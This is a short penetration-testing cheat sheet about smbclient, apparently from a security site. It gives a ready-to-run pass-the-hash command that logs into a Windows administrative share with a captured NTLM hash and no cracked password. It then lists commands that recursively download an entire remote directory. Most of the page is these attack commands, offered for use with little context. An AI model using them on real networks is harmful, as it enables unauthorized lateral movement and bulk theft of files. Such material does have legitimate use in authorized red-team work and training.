black electronics

SMBClient

Common smbclient commands for accessing SMB shares, including pass-the-hash.

smbclient is an FTP-like client for browsing and downloading from SMB shares. It also supports pass-the-hash, so you don’t need to crack a captured NTLM hash before using it.

Terminal window
# Connect to a share using pass-the-hash (no cleartext password needed)
smbclient //10.1.1.1/C$ -U "svc-account" --pw-nt-hash "00000000000000000000000000000000" -W domain.local -t 6000

Once connected, the following downloads a whole folder and all files inside it:

Terminal window
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
Useful LinksPentest PayloadsCheat Sheets